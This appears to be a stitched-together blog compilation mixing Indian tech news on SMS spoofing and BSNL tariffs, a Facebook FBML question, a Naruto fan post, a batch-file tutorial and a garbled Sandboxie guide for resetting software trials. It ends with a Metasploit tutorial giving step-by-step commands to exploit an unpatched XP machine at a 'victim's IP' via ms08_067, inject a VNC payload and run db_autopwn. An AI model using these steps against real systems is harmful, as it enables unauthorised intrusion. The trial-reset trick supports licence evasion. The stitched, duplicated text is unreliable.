Don’t fall prey to mobile spoofing

Have you ever received a weird SMS from a friend which he or she later claimed never to have sent? You are lucky if you haven’t because more and more people in the city are falling prey to mobile spoofing where one can send SMS from any number without touching the actual phone. All one needs to do is to login to a certain website, register and start sending messages to any one in India with someone else’s mobile number.

After Internet Protocol (IP) or caller ID faking, mobile spoofing is the new security threat that has hit the country. Though the technology has been around for sometime, it is of late catching up with youths in the city. Ethical hackers warn that while many youngsters think they are playing a prank, it may turn out to be a major security risk if some terrorist or anti-social elements get involved in it.

According to cyber crime experts, the person receiving the SMS will not know whether the message is fake or not. The websites facilitating mobile spoofing exploit certain security vulnerabilities to obtain access to the SMS-Internet tunnel by creating a malicious code. Even the mobile service provider is not aware when the network is being misused.

Says additional SP (cyber crimes) U. Rammohan, “We can trace the sender of the fake messages through the IP address, but it is quite a challenging task,” he points out.

Mobile spoofing websites offer both free and paid SMS spoofing services. The popular websites among youngsters are: xxsidxx.co.cc, fakemsg.com, fakemytext.com, www.sneaksms.com and sms.fake.com. There’s also a dedicated software called “SMS spoof” which is freely available on the Internet.

Ethical hackers blame mobile companies for this. “They need to set up advanced authentication mechanisms. SMS servers are hugely vulnerable since they are not properly secured,” observes networking security engineer M.M. Ganga Raju. “The only way to detect and block spoofed messages is to screen incoming messages to verify that the sender is a valid subscriber,” he adds.

“You can send an SMS from a website to a woman using her husband’s number informing her to hand over money to a person he deputes, because of which chances are that she may hand over the money to the impostor,” says ethical hacker M.V. Rama Rao.

Bypass Trial Version Limitations In Any Software

Have you ever downloaded any trial version software and it may have expired before you could have tested it for its full capabilties. In this trick I will explain to how you can use the trial version of any software over and again so that you can test the software properly before purchasing its full version.Basically there are two type of restrictions put by the software companies on trial version of softwares.

1.Disable some features of the software

2.Time Bound limitations like 5-days Trial version

This trick can extend only your time bound limitations hence provide you with the capability to use the trial version of the software for as long as you want.

Another big advantage of this trick is that it will increase your system security.For this trick we will be using a freeware software called sandboxie which very small(500 kb).It would protect your computer from malware andspywares to make changes to your system. Sandboxie runs the softwares in an isolated enviroment so that they cannot make permanent changes to your system.Here is the graphical representation of the programs running with sandboxie in memory.

Now,here is the step by step tutorial with screenshots on Trick To Bypass Trial Version Limitations In Any Software


1. DOWNLOAD
2. Install and run it.
3. Click on the Sandbox -> DefaultBox –> Run SandBoxed and then click on Run Any Program

Now a new window will popup.Click on Browse

Locate the setup of the trial software you want to install.Click on open

This will open up a new window and delete all the files created, Press the Delete Sandbox button to fully clear the contents.

Now reinstall the software as mentioned above and you will again get the full trial version.

Note:

1.This trick will not work if you have already used the full trial version of the software without sandboxie.

2.Sandboxie may crash if you run very large programs with it

Disclaimer:This tutorial is only for educational purpose and do buy the softwares to get the full capablities of the software.

Install the software and run it.You will see # in the software tittle bar.It indicates that the software is running under sandboxie.

7. You will get the trial of the software and the trial version will expire after the time bound limitation is over.
8. To reuse the software again after the trial version is over click on Click Sandbox –>DefaultBox andclick Delete Contents.

(Note icon biggrin Trick To Bypass Trial Version Limitations In Any Software onot let the software expire.Do these steps before atleast 1-day of the trial software is left.otherwise the above trick may not work )

This will open up a new window and delete all the files created, Press the Delete Sandbox button to fully clear the contents.

Now reinstall the software as mentioned above and you will again get the full trial version.

Note:

1.This trick will not work if you have already used the full trial version of the software without sandboxie.

2.Sandboxie may crash if you run very large programs with it

Disclaimer:This tutorial is only for educational purpose and do buy the softwares to get the full capablitiesof the software.

To run any application installed in sandbox

1)Go to the folder where you have installed sanboxie. Suppose it in F:\ drive.
2)Open "Sandbox" and enter your profile(say my profile is vks in sandboxie so I go to F:\Sandbox\vks )

3)Open the box in which you installed your app. by default you should install in the "Default box"(if you didnt create any other)

4) Now open the folder "drive".In it you'll see your drives.Go to the one you installed your application in and then create a shortcut to the exe of the application on your desktop

Batch Tutorial for Hacking

Here We Go


We Will Do It Step By Step

To Start Off There Is The @echo off/on
And There Is echo
And pause

So Here Is An Example

@echo off
echo Hello This is a test
pause

Type This In Notepad And Save As Test.bat
Launch It
It Will Look Like This



Hello This is a test
Press any key to continue...

Again Open Notepad And Write:


@echo on
echo Hello This is a test
pause

And Save It On The Desktop As Test2.bat
Launch It , It Will Look Like This


C:\Documents and Settings\User\Desktop>echo Hello This is a test
Hello This is a test
C:\Documents and Settings\User\Desktop>pause
Press any key to continue

So For The Explanation

@echo off/on:
If You Put @echo on It Will Show The Directory As You Just Saw
If You Put @echo off It Will Just Show The Words With No Directories
so its best to use @echo offecho:
If You Want To Type A Simple Phrase Just Type In echo And Something In This Case echo Hello This is a test
which will show Hello This is a test

pause
Pause Will Pause The Batch File,If You Press A Key The Batch Will Continue In This Case It Will Exit Because There Is No More Left
So Try This


@echo off
echo Hello This is a test
pause
echo I am testing pause
pause

This Will Show

Hello This is a test
Press Any Key To Continue...
(when you press a key it will show)
I am testing a pause


So That Convers The Pause Command

Now Some More Commands
There Is Msg *
And There Is cls

Open Notepad And Write:



@echo off
echo Hello This is a test
pause
cls
echo I am testing pause
msg * The End
pause


And Save As Test3.bat

This Will Show


Hello This is a test
Press Any Key To Continue...
(when you press a key it will show)
cls
(the page will clear)
I am testing a pause
(a pop-up will show saying The End)
 
So .. cls Will Just Clear The Screen
And Msg * Will Bring Up A pop-up:D

Other Commands Are REM And goto And start
So Create A Folder Name It Test
Put Any Picture Inside And Name It testpic
Open Notepad And Type


@echo off
echo Testing start and rem
rem title Test
start testpic.jpg (or any other extension)
pause

And Save It Inside The New Folder As Test4.bat

Launch It , It Will Show:


Testing start and rem
Press Any Key To Continue
(and the picture will launch)

So start Will Launch Any File
And rem Is A Ramark.. Which Wont Show In The Bat File When Running

Now The goto And set And if

Type This Inside Notepad


@echo off
echo This is a test
echo If you want to do math type 1 and press enter
echo If you want to see a picture type 2 and press enter
set /p option=
if '%option%'=='1' goto :math
if '%option%'=='2' start testpic.jpg (or any extension)

:math
echo 2+2
pause

And Save It Inside The New Folder

This Will Show


This is a test
If you want to do math type 1 and press enter
if you want to see a picture type 2 and press enter
(here you can type 1 or 2 and press enter)
(if you press 2 and Enter the picture will load)
(if you press 1 and enter this will show up):
2+2
Press any key to continue...

So goto Will Go To A Label Or A Part Of The File
When You Put :Math
A New Label Will Be Named Math And When You Put goto :math
The Vatch Will Go To :mathset
The Set Option Will Set Something . Here Its Going To Set :choice
The Set Is , In Some Options Followed By if
So If I Type 1 In This Example
The "choice" Will Be 1 .. And It Will Go To :math Because We Put
if '%choice%'=='1' goto :math
So If We Put 1 The Choice Will Be 1 Therefore It Will [reed]goto :math



Now I Am Going To Talk About Call,Exit,And SHIFT?

Go Into Notepad And Type This


@echo off
echo yay me i know the basics of batch
call call.bat
pause
exit

And Save In A New Folder

Then Open Notepad And Type This Again


@echo off
echo I Love You
pause

And Save In The Same Folder That You Saved The Last One And Name It Call.bat

Launch The First One
This Will Show


yay me i know the basics of batch
I Love You
Press Any Key To Continue....
(when you press a key the below will appear)
Press Any Key To Continue...
and when you press a key it will exit

Ok So Now You Know What exit Does It Exits The File And Call ,Calls In Another Batch File!!..
So Now For SHIFT Which Is A Little Hard So Try To Understand


SHIFT [/n]

If Command Extensions are enabled the SHIFT command supports the /n switch which tells the command to start shifting at the nth argument, where n can be between zero and eight.
just like this 1 below

SHIFT /2

would shift %3 to %2, %4 to %3, etc. and leave %0 and %1 . how can i say it

Examples

the below has got to be saved as .bat.. so just name it test

@ECHO OFF
ECHO - %1
SHIFT
ECHO - %1

After creating the above example test.bat file, if you were to type the below command at the MS-DOS prompt, it would print "- ONE" and then "- TWO"; this command is commonly used to work through each of the command extensions or remove command extensions.
(SHIFT , i mean the explanation... i got it from a website and edited it)

Ok I hope you understand



Now we will learn how to launch windows applications:
type in notepad:


@echo off
echo I am testing notepad!
start /MIN notepad
pause

This will show


i am testing notepad
(and notepad will start minimized.. if you put /MAX instead of /MIN it will launch maximized)
Press Any Key To Continue

Now lets learn how to put a timeout inside a batch..

goto notepad and type:


@echo off
echo i am trying timeout
set wait=0
:pause1
set /a wait=%wait%+1
if %wait% leq 1000 goto pause1
echo IT WORKED!\
pause

dont understand the command.. just copy paste it.. or memorize it .. if i tell you the explanation it will take alot of time!!..

so this will show :


i am trying timeout
(couple of seconds and.. )
Press Any Key To Continue...

Now ill teach you how to change the TIME

goto notepad and type:


@echo off
echo i wonder what time it is!!
TIME 5:50
echo Oh so its 5:50
pause

this will show:


i wonder what time its is!!
Oh so its 5:50      


The TIME will just change The TIME:

Now the Color

go into notepad and type this


@echo off
echo trying the colors
pause
color 04
echo testing
pause
color f
echo trying
pause
color 4f
echo trying
pause

04=background black and font red
f the font will be white
4f = background red and f = white

Here are the list(that can be found by cmd>color help)
0=black
1=blue
2=green
3=aqua
4=red
5=purple
6=yellow
7=white
8=gray
9=light blue
a=light green
b=light aqua
c=light red
d=light purple
e=light yellow
f=bright white

So this will show it

now the title

type this in notepad


@echo off
tile Test
echo trying the title
pause

this will show the title Test When you launch it!!

lets try Shutdown/Restart

type this in Notepad

@echo off
START C:\Windows\RUNDLL.EXE user.exe,exitwindowsexec
exit

The above will restart


@echo off
Shut down the computer

C:\Windows\RUNDLL32.EXE user,exitwindows
exit

The Above will Shutdown

Well Thats It For Now Enjoy These  

BSNL reduces postpaid broadband tariff by up to 75%

Initiating a price war in the broadband segment, state-run BSNL on Monday announced a reduction in post-paid broadband tariffs by up to 75 per cent, a move that may force private players to follow suite.

BSNL offers tariff in two categories — home users and general users. Under both categories, tariffs are available in limited and unlimited downloads.

To give a push to its broadband business, BSNL has reformulated its existing post-paid broadband tariff structure, it said in a statement.
With the implementation of new tariffs the entry threshold would come down from Rs 2,150 to Rs 850 only translating into a reduction of over 60 per cent.

It has reduced download charges from 50-60 paise per megabyte (MB) to 20 paise per MB for up to 5 gigabyte and 10 paise per MB thereafter. This nearly 75 per cent cut in tariff will be applicable for customers having plans of Rs 250-700.

Additional download charges in limited broadband tariff plans has also been reduced to 10 paise per MB for all customers paying more than Rs 999 fixed monthly charges.

The company has announced new broadband tariff plan for business and corporate customers. This new plan launched in the name of ‘BBG COMBO ULD 850’ will provide unlimited download to business customers at a download speed of 1 mega byte per second (mbps) up to 8 GB and 256 kilo byte per second (kbps) thereafter.

The company has also upgraded download speed in various post-paid plans by 50 per cent, besides increasing free download limit under its various tariff plans up from 10 GB to 250 GB.

The company announced an increase in free calls limit for its combo plan. Free calls have been doubled from 250 to 500, 300 to 500 and 500 to 1000 under different categories.

In addition to this, the company has introduced free calls facility in four combo packages. The number of free calls range between 500 to 2000.

BSNL has 60 per cent market share in broadband segment and expects that these new changes in tariff plans to change the broadband landscape of the country.

Learning new updates from Facebook: No FBML soon

Hi guys.

So we all know that Facebook recently announced that from March 11, 2011, the Static FBML application will no longer be available to be added to Pages and that no new FBML applications can be created after that date.

The good news is they are allowing i-frames, this application allows you to add "external" content on your facebook page without any limitations which were set by FBML. Now you have no limitations and use full support of HTML, CSS, and JavaScript like any other Web page does.

This is all we need to do as told be facebook:
1) Upload all your files on an external server (FTP)
2) Installing the facebook developer application at facebook(dot)com/developers (with this, you can create your own tab ie., an application which gets "added" to any of the page you admin using HTML, CSS and JAVA and not FBML)


I know about step 2, and have no questions as of now. But I have a question about step 1 as read above. What does it mean by uploading on some server? Does it mean we can upload our files on some file hosting website? What's the best way to do step 1?

Also, share your new techniques/creativity of changing your pages with full HTML/CSS support. I need to design a tab for my page which must look just like a website (with menu options), using this NEW update from facebook. Let's share our work.

Thanks. :)

the pride of all mighty GOD SASORI sama

Ok this is for those who doubt the awesomeness of sasori sama.

I will not go in the details of his powers, that's what they have WIKI for. I will present some of the other things about him that are so huge, so awesome that it is too much even for wiki.

1. He is GOD.

2. HE had 298 human puppets.

No seriously, if all u people have deduced that sasori is 1 of the weakest on the basis of his fighting with the old hag, u are sorely mistaken.

He had 298 freakin' puppets. Chiyo and sakura had it only in 1 that was kazekage. Now sasori could have unleashed any of his other 297 puppets then but he didn't. Can any1 say why ? He just wanted to show his granny how awesome he had became now. He wanted to show his granny only the best works of him and that's why.The love blinded him

Plus he had that freakin' poison needles.

1 canister in the air,
300 needles in the atmosphere,
If u got touched even by a 1,
u only got 3 days to live hon,
u are struck with a poison with no remedy..,
U just create a lot of pity,
U are paralyzed for the rest 3 days, just for your know,
Fuck u dude u are just nailed for the good yo !!!

There. I depicted sasori sama's awesomeness right in front of u and that too rhymed while doing it. Man, I am AWESOME.

UNDERSTANDING METASPOILT HACKING- tutorial

NOTE: I'm not responsible for anything you do with this info!

I'll not go in deep to make this paper boring :)

Okay so let's begin!

First of all, you would be thinking what is Metasploit?
Metasploit is a framework which allow us to penetest the remote machine to see if its vulnerable to any exploit and if yes, then we can control that remote machine from our own computer.

How it works?
Metasploit works on 3 things -

1. Vulneribility
2. Exploits
3. Payloads

Okay, let me give you a real life example.

Just imagine there's a house which is locked, and a theif comes and if he tries 7-8 combinations of keys then he is able to crack that lock, and get into the house.

=>> Now this thing is called vulneribilty according to Metasploit.

Now the theif tries some combinations of keys and he is able to get into the house successfully.

=>> Now this is called exploit according to Metasploit.

Now it depends on the theif what he wanna do with the house, he can whether steal jwellery, money and any other item present in house. Basically the things that he do after getting in the house.

=>> Now this is called payload according to Metasploit.


Okay now let me explain you this in a hacker's language.

Just imagine you have found a vulnerable computer with XP sp2 as operating system. And there's a exploit available from XP sp2 already.

=>> So this is called vulneribilty.

Now you apply the exploit by providing victim's IP address and any open port.

=>> This is called exploit.

Now you need to send payload in his computer, there are many payloads available in Metasploit from which you can get a shell in victim's pc, capture his keystrokes, control his PC through remote desktop, upload and execute a .EXE file, etc many other things.

=>> This is known as payload.


Now the question is how to use Metasploit?

Hmm, Metasploit is available in two platforms - console (cmd) and GUI (graphical user interface).

Console is the best, so we'll go on it.

Metasploit has different commands for different things.

If you want to see exploit simply type = show exploits.
If you want to see payload, type = show payloads
After setting all options now type = exploit

Okay so now basics are cleared that how Metasploit works. Now lets move on to some higher level, which is hacking ;)

Suppose you have a victim who is running XP SP2 unpatched version, and you have his IP.

Now you need to open msfconsole.

Wait, let it load, it'll take sometime as it has more than 600 exploits and 200 payloads.

Now when it is loaded type cmd = db_driver sqlite3

=>> It'll load the database driver.

Now type = db_create

=>> It'll create a new database.

Type = show exploits

=>> It'll get the list of all exploits currently present in Metasploit database.

Now type = use [exploit name] (we'll use windows/smb/ms08_067_netapi exploits, as we are attacking a XP SP2 machine)

So type = use windows/smb/ms08_067_netapi

=>> It'll load the exploit. Usually all exploits are to be executed on a third party software's security hole. But this exploit is found in the windows XP's system file.

Now you need to select payload, type  = show payloads

=>> It'll show you all payloads currently in the database, now we'll use vncinject payload (payload cmd = set PAYLOAD [payload name].

So type = set PAYLOAD windows/vncinject/bind_tcp

Now type = show options

=>> It'll sort out all the options that you need to fill now.

To fill the option the cmd is = set [option name] [your selection(answer)]

You need to fill some options like RHOST, RPORT, LPORT, LHOST, etc. Fill them as I said.

RHOST (remote host) = Remote machine's IP (victim's IP)

To see victim's open port use Nmap to scan his IP and get the open ports. Now when you are done fill all options.

And at last type = exploit

=>> Bangggg! You are done! Now a new windows should be opened, it's like you are in the PC, you can control the whole PC :)


In this paper I'll explain:

1. How does the exploits work.
2. How to prevent your computer from being exploited.
3. How to use autopown function in Metasploit to hack a remote machine.


How does the exploits work?

Exploits are made by finding a security hole in a software. And then we can send our payload to perform different actions.
Exploit writers needs to have very deep knowledge of the software/program in which they are trying to find a security hole to prepare/write an exploit. Usually all exploits are to be executed on a third party software, as the security holes are found in those softwares. But there are also some exploits available to directly attack OS, means the security holes are found in a windows file.

How to prevent your computer from being exploited.

Almost 60% of operating systems are patched till date. And there's no exploit for Win 7 currently. Some anti-viruses can also block some hackers from exploiting your computer.
Though there are some things you can do to prevent your computer from being exploited:

1. Never run any unwanted link.
2. Never turn your AV off even when someone tells you to do so.
3. Don't share your IP with anyone.
4. If you know that the hacker has your IP address and if you have a dynamic IP, simply re-connect your internet connection.

These are some steps you can follow to prevent your computer from being exploited.

_________________________________

Now, I'll explain you how to hack a remote computer just by its IP address. By launching exploit on a third party software in victim's computer.

It  works 50% times.

Download latest Metasploit framework from its official site - www.metasploit.com
Okay now when you downloaded it, now install, and between installation it'll ask you if you want to install Nmap also, say YES.

Nmap is a software which allows you to check the open ports, OS, sevices, etc of a remote computer just with its IP.

Now launch msfconsole.

It'll take sometime as it has more than 600 exploits and 200 payloads.

Type = db_driver sqlite3

=>> It'll enable the database driver.

Now type = db_create

=>> It'll create a database.

Type = nmap

=>> It'll load the Nmap up.

Now type = db_nmap -sT -sV [victim's ip address]

=>> It'll show the open ports of victim's machine.

Now finally type = db_autopwn -p -t -e
